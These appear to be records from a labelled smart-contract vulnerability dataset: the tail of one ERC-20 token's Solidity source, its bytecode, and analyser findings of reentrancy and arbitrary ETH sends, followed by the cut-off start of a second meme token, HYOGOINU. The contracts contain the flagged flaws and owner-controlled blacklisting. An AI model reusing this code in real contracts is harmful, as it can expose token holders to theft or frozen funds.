{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600681526020017f2032303630200000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601c81526020017f2032303630204d617373206f662074686520556e697665727365212000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059e12c1c81980149c0d3153180247803b3e0b9f26b9b00385bc40b16a5ca0c4f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,712 |
0xa38a4ecb19982ad05c00f0a2419ccdd228e2e5b4
|
/*
HYOGOINU is going to launch in the Uniswap at october 24.
This is fair launch and going to launch without any presale.
tg: https://t.me/HyogoInu
All crypto babies will become a HYOGOINU in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HYOGOINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HYOGO INU";
string private constant _symbol = " OINU ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 4;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
